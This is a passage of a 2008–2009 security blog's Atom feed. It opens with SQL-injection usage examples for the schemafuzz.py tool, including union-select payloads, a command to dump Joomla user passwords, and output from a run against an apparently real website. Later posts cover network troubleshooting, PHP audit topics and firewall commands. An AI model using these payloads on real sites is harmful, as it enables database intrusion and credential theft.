#'s in dump mode.&lt;br /&gt;&lt;br /&gt;   Ex: ./schemafuzz.py --info -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4"&lt;br /&gt;   Ex: ./schemafuzz.py --dbs -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4"&lt;br /&gt;   Ex: ./schemafuzz.py --schema -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4" -D catalog -T orders -r 200&lt;br /&gt;   Ex: ./schemafuzz.py --dump -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4" -D joomla -T jos_users -C username,password&lt;br /&gt;   Ex: ./schemafuzz.py --fuzz -u "www.site.com/news.php?id=-1+union+select+1,darkc0de,3,4" -end "/*" -o sitelog.txt&lt;br /&gt;   Ex: ./schemafuzz.py --findcol -u "www.site.com/news.php?id=22"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color=royalblue&gt;schemafuzz.py -u http://www.ayamitiklembu/news.php?id=1 &lt;font color=yellow&gt;--findcol &lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;|---------------------------------------------------------------|&lt;br /&gt;| rsauron[@]gmail[dot]com v5.0 |&lt;br /&gt;| 6/2008 schemafuzz.py |&lt;br /&gt;| -MySQL v5+ Information_schema Database Enumeration |&lt;br /&gt;| -MySQL v4+ Data Extractor |&lt;br /&gt;| -MySQL v4+ Table &amp; Column Fuzzer |&lt;br /&gt;| Usage: schemafuzz.py [options] |&lt;br /&gt;| -h help darkc0de.com |&lt;br /&gt;|---------------------------------------------------------------|&lt;br /&gt;&lt;br /&gt;[+] URL: http://www.ayamitiklembu/news.php?id=1--&lt;br /&gt;[+] Evasion Used: "+" "--"&lt;br /&gt;[+] 23:35:53&lt;br /&gt;[-] Proxy Not Given&lt;br /&gt;[+] Attempting To find the number of columns...&lt;br /&gt;[+] Testing: 0,1,2,3,&lt;br /&gt;[+] &lt;font color=orange&gt;Column Length is: 4&lt;br /&gt;[+] Found null column at column #: 1&lt;br /&gt;[+] SQLi URL: http://www.ayamitiklembu/news...+0,1,2,3--&lt;br /&gt;[+] darkc0de URL: http://www.ayamitiklembu/news...rkc0de,2,3&lt;/font&gt;&lt;br /&gt;[-] Done!&lt;br /&gt;&lt;br /&gt;&lt;font color=royalblue&gt; schemafuzz.py -u http://www.ayamitiklembu/news...rkc0de,2,3 &lt;font color=yellow&gt;--fuzz &lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;|---------------------------------------------------------------|&lt;br /&gt;| rsauron[@]gmail[dot]com v5.0 |&lt;br /&gt;| 6/2008 schemafuzz.py |&lt;br /&gt;| -MySQL v5+ Information_schema Database Enumeration |&lt;br /&gt;| -MySQL v4+ Data Extractor |&lt;br /&gt;| -MySQL v4+ Table &amp; Column Fuzzer |&lt;br /&gt;| Usage: schemafuzz.py [options] |&lt;br /&gt;| -h help darkc0de.com |&lt;br /&gt;|---------------------------------------------------------------|&lt;br /&gt;&lt;br /&gt;[+] URL: http://www.ayamitiklembu/news...c0de,2,3--&lt;br /&gt;[+] Evasion Used: "+" "--"&lt;br /&gt;[+] 23:43:22&lt;br /&gt;[-] Proxy Not Given&lt;br /&gt;[+] Gathering MySQL Server Configuration...&lt;font color=orange&gt;&lt;br /&gt;Database: web27-gc&lt;br /&gt;User: web27-gc@79.170.40.171&lt;br /&gt;Version: 5.0.77-community&lt;br /&gt;[+] Number of tables names to be fuzzed: 338&lt;br /&gt;[+] Number of column names to be fuzzed: 249&lt;/font&gt;&lt;br /&gt;[+] Searching for tables and columns...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Reference: &lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.hackforums.net/showthread.php?tid=79972" target="_blank"&gt;http://www.hackforums.net/showthread.php?tid=79972&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-6925024062995671188?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/6925024062995671188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=6925024062995671188' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6925024062995671188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/6925024062995671188'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2008/10/schemafuzzpy-by-rsauron.html' title='schemafuzz.py by rsauron'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-195124593988398538</id><published>2009-05-25T06:43:00.001-07:00</published><updated>2009-05-25T06:44:49.857-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Networking'/><title type='text'>Troubleshooting Connectivity Problems on Windows Networks</title><content type='html'>This article series will explain various troubleshooting techniques that you can use when machines on a Windows network have difficulty communicating with each other.&lt;br /&gt;&lt;br /&gt;If you would like to be notified when Brien M. Posey releases the next part of this article series please sign up to the WindowsNetworking.com Real time article update newsletter.&lt;br /&gt;&lt;br /&gt;Today’s network hardware and software is more reliable than ever but even so, things do occasionally go wrong. In this article series, I am going to discuss some troubleshooting techniques that you can use when a host on your Windows network has trouble communicating with other network hosts. For the sake of those with less experience in working with the TCP/IP protocol, I’m going to start with the basics, and then work toward the more advanced techniques.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Verify Network Connectivity&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When one host has trouble communicating with another, the first thing that you must do is to gather some information about the problem. More specifically, you need to document the host’s configuration, find out if the host is having trouble communicating with any other machines on the network, and find out if the problem effects any other hosts.&lt;br /&gt;&lt;br /&gt;For example, suppose that a workstation is having trouble communicating with a particular server. That in itself doesn’t really give you a lot to go on. However, if you were to dig a little bit deeper into the problem and found out that the workstation couldn’t communicate with any of the network servers, then you would know to check for a disconnected network cable, a bad switch port, or maybe a network configuration problem.&lt;br /&gt;&lt;br /&gt;Likewise, if the workstation were able to communicate with some of the network servers, but not all of them, that too would give you a hint as to where to look for the problem. In that type of situation, you would probably want to check to see what the servers that could not be contacted had in common. Are they all on a common subnet? If so, then a routing problem is probably to blame.&lt;br /&gt;&lt;br /&gt;If multiple workstations are having trouble communicating with a specific server, then the problem probably isn’t related to the workstations unless those workstations were recently reconfigured. More than likely, it is the server itself that is malfunctioning.&lt;br /&gt;&lt;br /&gt;The point is that by starting out with a few basic tests, you can gain a lot of insight into the problem at hand. The tests that I am about to show you will rarely show you the cause of the problem, but they will help to narrow things down so that you will know where to begin the troubleshooting process.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PING&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PING is probably the simplest TCP/IP diagnostic utility ever created, but the information that it can provide you with is invaluable.  Simply put, PING tells you whether or not your workstation can communicate with another machine.&lt;br /&gt;&lt;br /&gt;The first thing that I recommend doing is opening a Command Prompt window, and then entering the PING command, followed by the IP address of the machine that you are having trouble communicating with. When you do, the machine that you have specified should produce four replies, as shown in Figure A.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.windowsnetworking.com/img/upl/image0021218182403357.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 574px; height: 284px;" src="http://www.windowsnetworking.com/img/upl/image0021218182403357.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Figure A: The specified machine should generate four replies&lt;br /&gt;&lt;br /&gt;The responses essentially tell you how long it took the specified machine to respond with thirty two bytes of data. For example, in Figure A, each of the four responses were received in less than four milliseconds.&lt;br /&gt;&lt;br /&gt;Typically, when you issue the PING command, one of four things will happen, each of which has its own meaning.&lt;br /&gt;&lt;br /&gt;The first thing that can happen is that the specified machine will produce four replies. This indicates that the workstation is able to communicate with the specified host at the TCP/IP level.&lt;br /&gt;&lt;br /&gt;The second thing that can happen is that all four requests time out, as shown in Figure B. If you look at Figure A, you will notice that each response ends in TTL=128. TTL stands for Time To Live. What this means is that each of the four queries and responses must be completed within 128 milliseconds. The TTL is also decremented once for each hop on the way back. A hop occurs when a packet moves from one network to another. I will be talking a lot more about hops later on in this series.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.windowsnetworking.com/img/upl/image0041218182403373.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 574px; height: 284px;" src="http://www.windowsnetworking.com/img/upl/image0041218182403373.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Figure B: If all four requests time out, it could indicate a communications failure&lt;br /&gt;&lt;br /&gt;At any rate, if all four requests have timed out, it means that the TTL expired before the reply was received. This can mean one of three things:&lt;br /&gt;&lt;br /&gt;Communications problems are preventing packets from flowing between the two machines. This could be caused by a disconnected cable, a bad routing table, or a number of other issues.&lt;br /&gt;Communications are occurring, but are too slow for PING to acknowledge. This can be caused by extreme network congestion, or by faulty network hardware or wiring.&lt;br /&gt;Communications are functional, but a firewall is blocking ICMP traffic. PING will not work unless the destination machine’s firewall (and any firewalls between the two machines) allow ICMP echos.&lt;br /&gt;A third thing that can happen when you enter the PING command is that some replies are received, while others time out. This can point to bad network cabling, faulty hardware, or extreme network congestion.&lt;br /&gt;&lt;br /&gt;The fourth thing that can occur when pinging a host is that you receive an error similar to the one that is shown in Figure C.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.windowsnetworking.com/img/upl/image0061218182403373.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 574px; height: 288px;" src="http://www.windowsnetworking.com/img/upl/image0061218182403373.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Figure C: This type of error indicates that TCP/IP is not configured correctly&lt;br /&gt;&lt;br /&gt;The PING: Transmit Failed error indicates that TCP/IP is not configured correctly on the machine on which you are trying to enter the PING command. This particular error is specific to Vista though. Older versions of Windows produce an error when TCP/IP is configured incorrectly, but the error message is “Destination Host Unreachable”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What if the PING is Successful?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Believe it or not, it is not uncommon for a ping to succeed, even though two machines are having trouble communicating with each other. If this happens, it means that the underlying network infrastructure is good, and that the machines are able to communicate at the TCP/IP level. Typically, this is good news, because it means that the problem that is occurring is not very serious.&lt;br /&gt;&lt;br /&gt;If normal communications between two machines are failing, but the two machines can PING each other successfully (be sure to run the PING command from both machines), then there is something else that you can try. Rather than pinging the network host by IP address, try replacing the IP address with the host’s fully qualified domain name, as shown in Figure D.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.windowsnetworking.com/img/upl/image0081218182416498.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 574px; height: 284px;" src="http://www.windowsnetworking.com/img/upl/image0081218182416498.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Figure D: Try pinging the network host by its fully qualified domain name&lt;br /&gt;&lt;br /&gt;If you are able to ping the machine by its IP address, but not by its fully qualified domain name, then you most likely have a DNS issue. The workstation may be configured to use the wrong DNS server, or the DNS server may not contain a host record for the machine that you are trying to ping.&lt;br /&gt;&lt;br /&gt;If you look at Figure D, you can see that the machine’s IP address is listed just to the right of its fully qualified domain name. This proves that the machine was able to resolve the fully qualified domain name. Make sure that the IP address that the name was resolved to is correct. If you see a different IP address than the one that you expected, then you may have an incorrect DNS host record.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this article, I have shown you some steps for testing basic connectivity between two machines. In the next article in the series, I will show you some more techniques that you can use in the troubleshooting process.&lt;br /&gt;&lt;br /&gt;**************************************************&lt;br /&gt;Published: Aug 14, 2008&lt;br /&gt;Updated: Sep 26, 2008&lt;br /&gt;Section: Articles &amp; Tutorials :: Network Troubleshooting&lt;br /&gt;Author: Brien M. Posey&lt;br /&gt;Rating: 3.6/5 - 32 Votes&lt;br /&gt;If you would like to read other parts to this article please go to:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part2.html" target="_blank"&gt;Troubleshooting Connectivity Problems on Windows Networks (Part 2)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part3.html" target="_blank"&gt;Troubleshooting Connectivity Problems on Windows Networks (Part 3)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part4.html" target="_blank"&gt;Troubleshooting Connectivity Problems on Windows Networks (Part 4)&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part5.html" target="_blank"&gt;Troubleshooting Connectivity Problems on Windows Networks (Part 5)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part1.html" target="_blank"&gt;http://www.windowsnetworking.com/articles_tutorials/Troubleshooting-Connectivity-Problems-Windows-Networks-Part1.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://searchnetworking.techtarget.com/tip/0,289483,sid7_gci1355527_mem1,00.html" target="_blank"&gt;http://searchnetworking.techtarget.com/tip/0,289483,sid7_gci1355527_mem1,00.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-195124593988398538?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/195124593988398538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=195124593988398538' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/195124593988398538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/195124593988398538'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/05/troubleshooting-connectivity-problems.html' title='Troubleshooting Connectivity Problems on Windows Networks'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8461909983317813323</id><published>2009-04-25T01:38:00.000-07:00</published><updated>2009-04-25T02:41:34.248-07:00</updated><title type='text'>20 ways to php Source code fuzzing (Auditing)</title><content type='html'>20 ways to php Source code fuzzing (Auditing)&lt;br /&gt;&lt;br /&gt;Hello .&lt;br /&gt;&lt;br /&gt;This article is only for who attend php as well and really knowing how to program In PHP.&lt;br /&gt;&lt;br /&gt;When we talk about PHP Vulnerability discovery, we forget this Question:&lt;br /&gt;What types of bugs?&lt;br /&gt;&lt;br /&gt;When we can answer this Question, we will gain to find vulnerability as well as drink some water.&lt;br /&gt;&lt;br /&gt;Reading in  this article :&lt;br /&gt;&lt;br /&gt;Section 1 : (20 ways to PHP source code Auditing - PHP Fuzzing)&lt;br /&gt;1- Cross Site Scripting&lt;br /&gt;2- SQL Injection [medium]&lt;br /&gt;3- HTTP Response Splitting [Medium]&lt;br /&gt;4- Dynamic Evaluation Vulnerabilities [High]&lt;br /&gt;5- Process Control / PHP Code Injection (HIGH)&lt;br /&gt;6- Local / Remote file inclusion (High)&lt;br /&gt;7 – File Management (HIGH)&lt;br /&gt;8- Buffer overflows (High, But Hard Usage)&lt;br /&gt;9- Cookie / Session injection / Fixation / [High]&lt;br /&gt;10 – Denial Of service [Medium, But Hard Assessment]:&lt;br /&gt;11 - XPath Injection [XML Functions]&lt;br /&gt;12 - Often Misused: File Uploads (High)&lt;br /&gt;13 - Un-Authorize summon of Functionality / File (Medium)&lt;br /&gt;14 - Authentication Bypass with Brute Force (Low)&lt;br /&gt;15 - Insecure Randomness Session / Cookie / Backup files (Medium)&lt;br /&gt;16 - Informative details in HTML Comments (Low)&lt;br /&gt;17 - Default unnecessary installation files (medium)&lt;br /&gt;18 – Regular Expression Vulnerability (High)&lt;br /&gt;19 – Resource Injection (Medium)&lt;br /&gt;20 – Week Password / Encryption: (Low)&lt;br /&gt;&lt;br /&gt;Section 2:&lt;br /&gt;Automatic PHP Auditor source code&lt;br /&gt;&lt;br /&gt;This article is not a full reference about PHP source code security review (a.k.a auditing) but I tried to do this work in my short time as well. So please take my apology about all of mistakes (maybe) I made during completing this article.  I’m not sure but maybe I’ve release future version of this article that contain a few more advanced methods.&lt;br /&gt;&lt;br /&gt;Here is some of future talk and topics may I add this article in next version:&lt;br /&gt;1-    More Real world Attack with Description&lt;br /&gt;2-    PHPIDS Defense.&lt;br /&gt;3-    More Dangerous Functions: CURL – socket – creat_function &amp; ….&lt;br /&gt;4-    Talk About pear functions and security of used.&lt;br /&gt;5-     Information About Books of PHP Securea Coding.&lt;br /&gt;6-     And ETC&lt;br /&gt;&lt;br /&gt;Download :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://abysssec.com/blog/wp-content/uploads/2009/03/php-fuzzing-auditing-version-10.pdf" target="_blank"&gt;php-fuzzing-auditing-version-1.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;thanks.&lt;br /&gt;&lt;br /&gt;Daphne&lt;br /&gt;&lt;br /&gt;&lt;a href="http://abysssec.com/blog/2009/03/php_fuzz_audit/" target="_blank"&gt;http://abysssec.com/blog/2009/03/php_fuzz_audit/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8461909983317813323?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8461909983317813323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8461909983317813323' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8461909983317813323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8461909983317813323'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/04/20-ways-to-php-source-code-fuzzing.html' title='20 ways to php Source code fuzzing (Auditing)'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-3015836564188780930</id><published>2009-04-20T18:52:00.000-07:00</published><updated>2009-04-20T19:01:36.416-07:00</updated><title type='text'>Information Gathering</title><content type='html'>New School Information New School Information Gathering Gathering&lt;br /&gt;&lt;a href="http://www.toorcon.org/tcx/17_Gates.pdf" target="_blank"&gt;http://www.toorcon.org/tcx/17_Gates.pdf&lt;/a&gt;&lt;br /&gt;@&lt;br /&gt;&lt;a href="http://www.carnal0wnage.com/research/newschoolinfogathering-chicagocon.pdf" target="_blank"&gt;http://www.carnal0wnage.com/research/newschoolinfogathering-chicagocon.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Information Gathering: The Complete Documentation&lt;br /&gt;&lt;a href="http://www.l0t3k.org/security/docs/gathering/" target="_blank"&gt;http://www.l0t3k.org/security/docs/gathering/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Passive Information Gathering Techniques&lt;br /&gt;&lt;a href="http://seclists.org/basics/2004/Feb/0073.html" target="_blank"&gt;http://seclists.org/basics/2004/Feb/0073.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-3015836564188780930?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/3015836564188780930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=3015836564188780930' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3015836564188780930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/3015836564188780930'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/04/information-gathering.html' title='Information Gathering'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-5302151626664540561</id><published>2009-04-19T00:00:00.000-07:00</published><updated>2009-04-19T00:07:11.141-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless security'/><title type='text'>Caffe Latte attack</title><content type='html'>&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/5A-9jAvvQpY&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/5A-9jAvvQpY&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.security-freak.net/toorcon/cafe-latte-wireless-attack.html" target="_blank"&gt;http://www.security-freak.net/toorcon/cafe-latte-wireless-attack.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/7eU8y_7W50Q&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/7eU8y_7W50Q&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;The Caffe Latte Attack: How It Works—and How to Block It&lt;br /&gt;By Lisa Phifer&lt;br /&gt;December 12, 2007&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wi-fiplanet.com/tutorials/article.php/3716241" target="_blank"&gt;http://www.wi-fiplanet.com/tutorials/article.php/3716241&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wi-fiplanet.com/tutorials/article.php/10724_3716241_2"&gt;http://www.wi-fiplanet.com/tutorials/article.php/10724_3716241_2&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-5302151626664540561?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/5302151626664540561/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=5302151626664540561' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/5302151626664540561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/5302151626664540561'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/04/caffe-latte-attack.html' title='Caffe Latte attack'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-8441310494201728473</id><published>2009-04-18T23:50:00.000-07:00</published><updated>2009-04-18T23:53:49.587-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wireless security'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='IWD 2243'/><title type='text'>Wireless Attacks and Penetration Testing</title><content type='html'>Wireless Attacks and Penetration Testing (part 1 of 3)&lt;br /&gt;Jonathan Hassell 2004-06-03&lt;br /&gt;&lt;a href="http://www.securityfocus.com/infocus/1783" target="_blank"&gt;http://www.securityfocus.com/infocus/1783&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wireless Attacks and Penetration Testing (part 2 of 3)&lt;br /&gt;Jonathan Hassell 2004-06-14&lt;br /&gt;&lt;a href="http://www.securityfocus.com/infocus/1785" target="_blank"&gt;http://www.securityfocus.com/infocus/1785&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wireless Attacks and Penetration Testing (part 3 of 3)&lt;br /&gt;Jonathan Hassell 2004-07-26&lt;br /&gt;&lt;a href="http://www.securityfocus.com/infocus/1792" target="_blank"&gt;http://www.securityfocus.com/infocus/1792&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.securityfocus.com/pen-test/images/thumb_hassell-fig1-part2-airsnort.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 600px; height: 450px;" src="http://www.securityfocus.com/pen-test/images/thumb_hassell-fig1-part2-airsnort.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Figure 1: Sniffing packets with AirSnort&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-8441310494201728473?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/8441310494201728473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=8441310494201728473' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8441310494201728473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/8441310494201728473'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2009/04/wireless-attacks-and-penetration.html' title='Wireless Attacks and Penetration Testing'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4924501606712289680</id><published>2009-03-28T17:49:00.000-07:00</published><updated>2009-04-21T00:49:15.369-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='checkpoint'/><category scheme='http://www.blogger.com/atom/ns#' term='firewall'/><title type='text'>Checkpoint Firewall - IPSO Standard Health Check</title><content type='html'>GUI = Smart View Monitor&lt;br /&gt;&lt;br /&gt;CLI as below&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;fw stat&lt;br /&gt;cpstat fw&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;cphaprob stat&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;to check the HA state&lt;br /&gt;&lt;br /&gt;For Nokia Box, run&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;span style="font-weight:bold;"&gt;clish&lt;br /&gt;show vrrp&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-4924501606712289680?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 